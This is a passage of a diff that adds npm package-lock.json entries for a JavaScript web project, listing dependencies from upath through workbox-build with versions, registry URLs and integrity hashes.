"sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==" + }, + "node_modules/upath": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz", + "integrity": "sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.2", + "picocolors": "^1.0.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/util.promisify": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/util.promisify/-/util.promisify-1.0.1.tgz", + "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.2", + "has-symbols": "^1.0.1", + "object.getownpropertydescriptors": "^2.1.0" + } + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-to-istanbul": { + "version": "8.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz", + "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^1.6.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.", + "dependencies": { + "browser-process-hrtime": "^1.0.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", + "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", + "dependencies": { + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "dependencies": { + "makeerror": "1.0.12" + } + }, + "node_modules/watchpack": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz", + "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/web-vitals": { + "version": "2.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/web-vitals/-/web-vitals-2.1.4.tgz", + "integrity": "sha512-sVWcwhU5mX6crfI5Vd2dC4qchyTqxV8URinzt25XqVh+bHEPGH4C3NPrNionCP7Obx59wrYEbNlw4Z8sjALzZg==" + }, + "node_modules/webidl-conversions": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webidl-conversions/-/webidl-conversions-6.1.0.tgz", + "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==", + "engines": { + "node": ">=10.4" + } + }, + "node_modules/webpack": { + "version": "5.94.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.94.0.tgz", + "integrity": "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg==", + "dependencies": { + "@types/estree": "^1.0.5", + "@webassemblyjs/ast": "^1.12.1", + "@webassemblyjs/wasm-edit": "^1.12.1", + "@webassemblyjs/wasm-parser": "^1.12.1", + "acorn": "^8.7.1", + "acorn-import-attributes": "^1.9.5", + "browserslist": "^4.21.10", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.11", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.10", + "watchpack": "^2.4.1", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz", + "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==", + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.15.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz", + "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==", + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.13.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.13.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-manifest-plugin": { + "version": "4.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz", + "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==", + "dependencies": { + "tapable": "^2.0.0", + "webpack-sources": "^2.2.0" + }, + "engines": { + "node": ">=12.22.0" + }, + "peerDependencies": { + "webpack": "^4.44.2 || ^5.47.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-sources/-/webpack-sources-2.3.1.tgz", + "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==", + "dependencies": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/webpack/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-encoding": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", + "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", + "dependencies": { + "iconv-lite": "0.4.24" + } + }, + "node_modules/whatwg-encoding/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" + }, + "node_modules/whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, + "node_modules/whatwg-url": { + "version": "8.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-url/-/whatwg-url-8.7.0.tgz", + "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==", + "dependencies": { + "lodash": "^4.7.0", + "tr46": "^2.1.0", + "webidl-conversions": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, + "node_modules/which-collection": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dependencies": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which-typed-array/-/which-typed-array-1.1.9.tgz", + "integrity": "sha512-w9c4xkx6mPidwp7180ckYWfMmvxpjlZuIudNtDf4N/tTAUB8VJbX25qZoAsrtGuYNnGw3pa0AXgbGKRB8/EceA==", + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-background-sync": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-background-sync/-/workbox-background-sync-6.6.0.tgz", + "integrity": "sha512-jkf4ZdgOJxC9u2vztxLuPT/UjlH7m/nWRQ/MgGL0v8BJHoZdVGJd18Kck+a0e55wGXdqyHO+4IQTk0685g4MUw==", + "dependencies": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-broadcast-update": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-broadcast-update/-/workbox-broadcast-update-6.6.0.tgz", + "integrity": "sha512-nm+v6QmrIFaB/yokJmQ/93qIJ7n72NICxIwQwe5xsZiV2aI93MGGyEyzOzDPVz5THEr5rC3FJSsO3346cId64Q==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-build": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-build/-/workbox-build-6.6.0.tgz", + "integrity": "sha512-Tjf+gBwOTuGyZwMz2Nk/B13Fuyeo0Q84W++bebbVsfr9iLkDSo6j6PST8tET9HYA58mlRXwlMGpyWO8ETJiXdQ==", + "dependencies": { + "@apideck/better-ajv-errors": "^0.3.1", + "@babel/core": "^7.11.1", + "@babel/preset-env": "^7.11.0", + "@babel/runtime": "^7.11.2", + "@rollup/plugin-babel": "^5.2.0", + "@rollup/plugin-node-resolve": "^11.2.1", + "@rollup/plugin-replace": "^2.4.1", + "@surma/rollup-plugin-off-main-thread": "^2.2.3", + "ajv": "^8.6.0", + "common-tags": "^1.8.0", + "fast-json-stable-stringify": "^2.1.0", + "fs-extra": "^9.0.1", + "glob": "^7.1.6", + "lodash": "^4.17.20", + "pretty-bytes": "^5.3.0", + "rollup": "^2.43.1", + "rollup-plugin-terser": "^7.0.0", + "source-map": "^0.8.0-beta.0", + "stringify-object": "^3.3.0", + "strip-comments": "^2.0.1", + "tempy": "^0.6.0", + "upath": "^1.2.0", + "workbox-background-sync": "6.6.0", + "workbox-broadcast-update": "6.6.0", + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-google-analytics": "6.6.0", + "workbox-navigation-preload": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-range-requests": "6.6.0", + "workbox-recipes": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0", + "workbox-streams": "6.6.0", + "workbox-sw": "6.6.0", + "workbox-window": "6.6.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": { + "version": "0.3.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz", + "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==", + "dependencies": { + "json-schema": "^0.4.0", + "jsonpointer": "^5.0.0", + "leven": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "ajv": ">=8" + } + }, + "node_modules/workbox-build/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/workbox-build/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + 